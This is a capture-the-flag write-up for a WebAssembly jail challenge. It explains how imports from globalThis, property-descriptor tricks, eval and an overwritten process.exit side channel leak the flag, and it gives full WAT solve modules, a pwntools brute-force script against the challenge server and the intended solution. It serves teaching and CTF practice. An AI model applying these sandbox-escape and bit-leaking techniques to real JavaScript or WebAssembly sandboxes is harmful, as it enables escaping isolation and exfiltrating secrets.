Challenge Breakdown
Wasm 4 is a WebAssembly jail with a simple premise: you are allowed to write any WebAssembly module; you are given the object { 'i': globalThis }
as your imports, meaning you can import anything from globalThis
; your goal is to call the win
function, as follows.
function win(key) { if (key === '🥺') { console.log("wctf{redacted-flag}"); }}
globalThis.win = win;
If we can somehow, from WebAssembly, construct the string '🥺'
and pass it to win
, we get the flag.
WebAssembly References
At first, I had no idea how to approach this challenge. To keep it brief, I spent the first few hours staring at JavaScript and WebAssembly docs, until I discovered the WebAssembly externref
type.
externref
is a type from the Reference Types proposal that represents an opaque JavaScript object. WebAssembly cannot modify or interact with these objects, but it can hold these objects on its stack and pass them to and fro JavaScript. externref
is critical to this challenge, it means we can actually work with JavaScript objects to an extent.
As an aside, when I first discovered the Reference Types proposal, I looked for other WebAssembly proposals that might be useful. I found the Reference-Typed Strings proposal, which allows WebAssembly to directly work with, modify, and create JavaScript strings. So… challenge solved? Well, I tried writing a small test solve with this locally, and unfortunately…
Compiling function #4 failed: Invalid opcode 0xfb (enable with --experimental-wasm-stringref)
Luckily, however, the Reference Types proposal works out-of-the-box.
The Gameplan
At this point, my plan looked like this:
- Somehow call
String.fromCharCode
to get the winning string. - Call
win
.
With WebAssembly, all imports are in the form of module.name
. That is, since our imports object is { 'i': globalThis }
, we could import, say, the function eval
from globalThis
by using "i"
as our module and "eval"
as our name. Unfortunately, WebAssembly does not allow hierarchical module names. We cannot import String.fromCharCode
by using "i.String"
as our module and "fromCharCode"
as our name.
If we want to call String.fromCharCode
, we will have to first somehow read the property fromCharCode
from String
, then call it.
Reading Object Properties (part 1)
Reading object properties will have to take place purely through JavaScript function calls, as that is the only way we can interact with JavaScript objects from WebAssembly. So, we will have to find some useful built-in functions to work with.
From experience, I know that all JavaScript objects have several built-in properties like constructor
and __proto__
. This means that, although our imports object, { 'i': globalThis }
, is only explicitly defined as having the module "i"
, we can also use the built-in properties of the imports object as modules to import functions from. This gives us a few more options in terms of functions we can use.
I wrote a tiny script based off this gist to list all importable functions available. The functions that immediately stood out to me were:
globalThis.decodeURI
,globalThis.decodeURIComponent
,globalThis.encodeURI
,globalThis.encodeURIComponent
,globalThis.escape
, andglobalThis.unescape
. These can all modify strings.globalThis.eval
. If we can somehow craft a string containing JavaScript code, we win. But, crafting a string containing the right JavaScript code is no easier than crafting our target string'🥺'
.globalThis.atob
. If we can somehow craft the Base64-encoded version of'🥺'
, we can decode it withatob
. But again, crafting the Base64-encoded version is no easier than crafting'🥺'
.globalThis.btoa
.btoa
encodes an input value in Base64.{}.__lookupGetter__.call
. This method seems useful for reading object properties, but is actually completely useless for our purposes.__lookupGetter__
only returns something if there is a getter function defined for a property. Most properties, including the propertyString.fromCharCode
, are not defined with getter functions.{}.constructor.getOwnPropertyDescriptor
,{}.constructor.defineProperty
, and{}.constructor.getOwnPropertyNames
. Bingo!
Object.getOwnPropertyDescriptor
takes two parameters: an object and a string containing a property name. It returns a property descriptor, which looks like this (example from here):
let o, d;
o = { bar: 42 };d = Object.getOwnPropertyDescriptor(o, "bar");console.log(d);// {// configurable: true,// enumerable: true,// value: 42,// writable: true// }
Object.defineProperty
is similar to Object.getOwnPropertyDescriptor
, but instead of reading a property descriptor, it writes a property based off a property descriptor.
Object.getOwnPropertyNames
takes in an object and returns an array of all names of properties defined by that object.
This is certainly a step in the right direction in terms of reading object properties. But, because getOwnPropertyDescriptor
returns a property descriptor rather than just the property value itself, we still cannot access the property value from WebAssembly. We would have to somehow do another property read, this time reading the .value
property from the property descriptor itself to get the original property’s value.
Reading Object Properties (part 2)
This seems like a dead-end, because we now need to be able to read a property in order to read a property.
However, I realized that by combining a few tactics, we are in fact able to read properties with this method. Here’s what I figured out:
- Generate a string that is a valid JavaScript identifier. We can use
btoa
for this. We will assign this string to the local variable$str1
. - Call
Object.getOwnPropertyDescriptor
. We will assign this descriptor to the local variable$descriptor
. - Call
Object.defineProperty(globalThis, $str1, $descriptor)
. - Call
eval($str1)
. The return value is our target property’s value!
To understand more concretely why this works, here’s an example JavaScript implementation of this concept:
const obj = { val: 42 };const property = 'val';
// We want to read obj.val
const str1 = btoa(123);console.log(str1);// outputs: 'MTIz'
const descriptor = Object.getOwnPropertyDescriptor(obj, property);console.log(descriptor);// outputs: { value: 42, ... }
Object.defineProperty(globalThis, str1, descriptor);console.log(globalThis.MTIz);// outputs: 42
console.log(MTIz);// outputs: 42// (this works because all global variables in JavaScript are implicitly// properties of globalThis)
console.log(eval('MTIz'));// outputs: 42
console.log(eval(str1));// outputs: 42
For future clarity, I will be referring to this technique used to read properties as the Property-Reading Method.
We can also copy properties from object A to object B with a variant of the Property-Reading Method, where instead of calling Object.defineProperty
on globalThis
, we call it on object B. I will be referring to this technique as the Property-Copying Method. To be pedantic, we also skip the btoa
and eval
calls in the Property-Copying Method.
Reading Object Properties (part 3)
The Property-Reading Method certainly works, but it has one caveat: we first need to somehow get the property’s name as a string. Fortunately, this is not too difficult, thanks to the Object.getOwnPropertyNames
function.
We first call Object.getOwnPropertyNames
, which, as previously stated, takes in an object and returns an array of all names of properties defined by that object. Then, we can use our Property-Reading Method on the returned array itself to index into it.
This works because, in JavaScript, elements of an array are considered as “properties” with their numeric index as their “property name.” However, unlike strings, we are able to arbitrary construct numbers from WebAssembly to use as the “property name.”
Now, putting everything together, this is our strategy to read the property String.fromCharCode
, in JavaScript form:
const str1 = btoa(123);console.log(str1);// 'MTIz'
const names = Object.getOwnPropertyNames(String);console.log(names);// [// 'length',// 'name',// 'prototype',// 'fromCharCode',// 'fromCodePoint',// 'raw'// ]
const descriptor1 = Object.getOwnPropertyDescriptor(names, 3);console.log(descriptor1);// { value: 'fromCharCode', ... }
Object.defineProperty(globalThis, str1, descriptor1);console.log(MTIz);// 'fromCharCode'
const fromCharCodeStr = eval(str1);console.log(fromCharCodeStr);// 'fromCharCode'
const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr);console.log(descriptor2);// { value: [Function: fromCharCode], ... }
Object.defineProperty(globalThis, str1, descriptor2);console.log(MTIz);// [Function: fromCharCode]
const fromCharCode = eval(str1);console.log(fromCharCode);// [Function: fromCharCode]
In WebAssembly form:
(module (import "i" "globalThis" (global $globalThis externref)) (import "i" "String" (global $String externref)) (import "i" "eval" (func $eval (param externref) (result externref))) (import "i" "btoa" (func $btoa (param i32) (result externref))) (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref))) (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref))) (import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref))) (import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref)))
(func (export "main") (result externref) (local $str1 externref) (local $names externref) (local $descriptor1 externref) (local $descriptor2 externref) (local $fromCharCodeStr externref) (local $fromCharCode externref)
;; const str1 = btoa(123); i32.const 123 call $btoa local.set $str1
;; const names = Object.getOwnPropertyNames(String); global.get $String call $getOwnPropertyNames local.set $names
;; const descriptor1 = Object.getOwnPropertyDescriptor(names, 3); local.get $names i32.const 3 call $getOwnPropertyDescriptorNum local.set $descriptor1
;; Object.defineProperty(globalThis, str1, descriptor1); global.get $globalThis local.get $str1 local.get $descriptor1 call $defineProperty
;; const fromCharCodeStr = eval(str1); local.get $str1 call $eval local.set $fromCharCodeStr
;; const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr); global.get $String local.get $fromCharCodeStr call $getOwnPropertyDescriptor local.set $descriptor2
;; Object.defineProperty(globalThis, str1, descriptor2); global.get $globalThis local.get $str1 local.get $descriptor2 call $defineProperty
;; const fromCharCode = eval(str1); local.get $str1 call $eval local.set $fromCharCode
;; return fromCharCode for debugging purposes local.get $fromCharCode return ))
If we patch the challenge to print out the return value of main
, then assemble and run our program locally…
> wat2wasm.exe wasm4.wat> node 4.js>>> 0061736d0100000001210660016f016f60017f016f60026f7f016f60026f6f016f60036f6f6f006000016f02bc010801690a676c6f62616c54686973036f00016906537472696e67036f000169046576616c000001690462746f6100010b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200020b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200030b636f6e7374727563746f72136765744f776e50726f70657274794e616d657300000b636f6e7374727563746f720e646566696e6550726f7065727479000403020105070801046d61696e00060a42014001066f41fb0010012100230110042101200141031002210223002000200210052000100021042301200410032103230020002003100520001000210520050f0b[Function: fromCharCode]
Hooray! We now have String.fromCharCode
. All that’s left is to call it and win!
Not Quite…
When I first looked at the Reference Types proposal, I had seen some talk of a call_ref
instruction, and just assumed that this instruction meant that we if we had a JavaScript function in an externref
value, we could call it.
Well. Turns out, call_ref
is for another reference type called funcref
, not externref
. And funcref
can only refer to WebAssembly functions, not JavaScript ones. Damn. We have String.fromCharCode
, but no way to call it.
I looked for a bit for built-in JavaScript functions that would take in a function as a parameter, call it for me, and return the return value, but did not find any such functions that were accessible to import.
However, I did notice this suspicious little call to process.exit
after our WebAssembly code is run. Here is the full snippet from the challenge source:
let wasmMod = new WebAssembly.Module(new Uint8Array(parseHex(result)));let instance = new WebAssembly.Instance(wasmMod, { 'i': globalThis });
instance.exports.main();
process.exit(0);
We know how to copy properties from one object to another. So, theoretically, we could overwrite process.exit
with another function to invoke it with the argument 0
.
This is not very useful, though. To get our winning string, we need to invoke String.fromCharCode
with the argument 55358
, not 0
. Furthermore, we would need to somehow get the return value, and subsequently call win
with it.
Side-channeling?
Overwriting process.exit
, however, does allow us to do one very powerful thing: exfiltrate information from our WebAssembly code. We can exfiltrate exactly one bit of information, and here’s how:
- To exfiltrate the bit
0
, do nothing. - To exfiltrate the bit
1
, use our Property-Copying Method to overwriteprocess.exit
withconsole.log
, so that a0
is printed to the console.
We will know what the exfiltrated bit is by whether or not something is printed to the console. In essence, side-channeling. Realizing that we can exfiltrate a single bit made me realize that there is a way to solve this challenge without calling win
.
Side-channeling.
From experience, I know that in JavaScript, stringifying a function will return its source code. This means that if we stringify the win
function, the resulting string will contain the flag. We can read out a flag character from the win
function’s source code, then exfiltrate the character bit-by-bit. Rinse and repeat for the remaining characters, and we win.
In JavaScript, our solution looks like this:
const charIndex = 64;const mask = 0x01;
// We want to exfiltrate the bit (win.toString()[charIndex] & mask)const str1 = btoa(123);const str2 = btoa(124);
const winSource = unescape(win); // Use unescape to stringify.
// Property-Reading Method to read winSource[charIndex]Object.defineProperty(global, str1, Object.getOwnPropertyDescriptor( winSource, charIndex));
// Property-Reading Method to read Buffer(winSource[charIndex])[0]//// This is necessary to convert our char from a string to its char code.//// Also, from here on out, str2 will be used instead of str1 because the// property descriptor of winSource[charIndex] is not configurable, so we// cannot redefine global[str1].Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor( Buffer(eval(str1)), 0))
if ((eval(str2) & mask) !== 0) { // Our bit is a 1, so we need to overwrite process.exit with // console.log
// Property-Reading Method to get string "log" Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor( Object.getOwnPropertyNames(console), 0 )); const logStr = eval(str2);
// Property-Reading Method to get string "exit" Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor( Object.getOwnPropertyNames(process), 31 )); const exitStr = eval(str2);
// Property-Copying Method to assign console.log to process.exit Object.defineProperty(process, exitStr, Object.getOwnPropertyDescriptor( console, logStr ));}
Now, we just write a WebAssembly version, attach a small Python program to build up the flag bit-by-bit, and voila!
wctf{pr0l1f1c_1mp0rt3r}
Solve Scripts
(module (import "i" "global" (global $global externref)) (import "i" "console" (global $console externref)) (import "i" "process" (global $process externref)) (import "i" "win" (global $win externref)) (import "i" "Buffer" (func $Buffer (param externref) (result externref))) (import "i" "unescape" (func $unescape (param externref) (result externref))) (import "i" "eval" (func $evalInt (param externref) (result i32))) (import "i" "eval" (func $eval (param externref) (result externref))) (import "i" "btoa" (func $btoa (param i32) (result externref))) (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref))) (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref))) (import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref))) (import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref) (result externref)))
(func (export "main") (local $str1 externref) (local $str2 externref) (local $winSource externref) (local $logStr externref) (local $exitStr externref) i32.const 123 call $btoa local.set $str1 i32.const 124 call $btoa local.set $str2
global.get $win call $unescape local.set $winSource
;; read char from source global.get $global local.get $str2 global.get $global local.get $str1
local.get $winSource i32.const 0x1337 call $getOwnPropertyDescriptorNum
call $defineProperty drop
local.get $str1 call $eval
call $Buffer i32.const 0 call $getOwnPropertyDescriptorNum
call $defineProperty drop
local.get $str2 call $evalInt
;; mask bit we want to side channel i32.const 0x1338 i32.and
;; side channel bit (if (then ;; bit is a 1, print a 0
;; get string "log" global.get $global local.get $str2
global.get $console call $getOwnPropertyNames
i32.const 0 call $getOwnPropertyDescriptorNum
call $defineProperty drop
local.get $str2 call $eval local.set $logStr
;; get string "exit" global.get $global local.get $str2
global.get $process call $getOwnPropertyNames
i32.const 0x1339 call $getOwnPropertyDescriptorNum
call $defineProperty drop
local.get $str2 call $eval local.set $exitStr
;; assign console.log to process.exit global.get $process local.get $exitStr
global.get $console local.get $logStr call $getOwnPropertyDescriptor
call $defineProperty drop ) (else ;; bit is a 0, do nothing nop ) ) ))
import pwn
# wctf{pr0l1f1c_1mp0rt3r}
pwn.context.log_level = 'error'
payload = open('wasm4.wasm', 'rb').read()codeIndex = payload.rindex(bytes.fromhex('0A'))payloadStart = payload[:codeIndex]templateCode = payload[codeIndex + 4:]
def leb128(n: int): result = b'' while True: byte = n & 0x7f n >>= 7 if (n == 0 and byte & 0x40 == 0) or (n == -1 and byte & 0x40 != 0): result += bytes([byte]) break result += bytes([byte | 0x80]) return result
def generatePayload(i: int, mask: int, t: int): code = templateCode.replace(leb128(0x1337), leb128(i)).replace(leb128(0x1338), leb128(mask)).replace(leb128(0x1339), leb128(t)) code = bytes.fromhex('01') + leb128(len(code)) + code payload = payloadStart + bytes.fromhex('0A') + leb128(len(code)) + code return payload
def sideChannelChar(index: int): c = 0 for i in range(7): r = pwn.remote('wasm4.kctf-453514-codelab.kctf.cloud', 1337) r.sendlineafter(b'>>> ', generatePayload(index, 1 << i, 31).hex().encode())
try: r.recvline() c |= 1 << i except EOFError: pass
r.close()
return chr(c)
i = 64while True: print(sideChannelChar(i), end='') i += 1
The Intended Solution
I think it’s quite obvious here that completely bypassing the calling of the win
function is not intended.
Here’s the intended solution:
(module (import "i" "win" (func $win (param externref))) (import "i" "Array" (func $Array (param i32 i32 i32 i32) (result externref))) (import "i" "Buffer" (func $Buffer (param externref) (result externref))) (import "i" "String" (func $String (param externref) (result externref)))
(func (export "main") i32.const 0xf0 i32.const 0x9f i32.const 0xa5 i32.const 0xba call $Array ;; Array(0xf0, 0x9f, 0xa5, 0xba) call $Buffer ;; Buffer(Array(...)) call $String ;; String(Buffer(...)) call $win ))
Yeah… so I might’ve overcomplicated this a bit.